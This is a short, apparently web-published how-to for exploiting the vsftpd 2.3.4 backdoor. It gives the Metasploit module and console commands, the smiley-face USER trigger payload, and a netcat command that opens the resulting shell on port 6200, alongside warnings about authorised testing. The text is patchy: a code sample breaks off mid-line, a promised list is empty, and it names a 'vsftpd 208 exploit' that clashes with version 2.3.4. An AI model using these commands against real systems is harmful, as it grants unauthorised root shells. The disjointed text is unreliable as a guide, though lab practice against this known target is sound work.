Metasploit, available on GitHub and pre-installed in Kali, has an auxiliary module.

URL: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploit/unix/ftp/vsftpd_234_backdoor.rb

Installation (if not in Kali):

git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
gem install bundler
bundle install

Usage:

msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > exploit

The module handles the trigger and gives you a direct shell.

Warning: Do not run this against any system you do not own or have explicit written permission to test.

Before touching any code, you must understand what makes this exploit tick.

Most Python-based scripts have no dependencies beyond the standard library (socket, sys, time). However, some advanced scripts use paramiko or pexpect. Install them via pip if needed:

pip install paramiko pexpect

The exploit works by sending a username containing :) : followed by the actual username. In a legal, authorized test environment:

# Educational example - DO NOT use on production systems
import socket

def test_vulnerability(target_ip, port=21): # Only run on systems you own or have written permission to test payload = b"USER :) : root\n" # ... (full code in controlled research contexts only)

nc -nv 192.168.1.100 6200 id whoami

While the manual method works, using a Python script from GitHub makes the process faster, adds banner grabbing (fingerprinting), and automates the connection to port 6200.

The typical "vsftpd 208 exploit" script found on GitHub does the following:


Cause: Some vsftpd backdoor versions close the shell after one command. Fix: Use a Python exploit that sends multiple commands in a loop, or use socat to create a stable tunnel.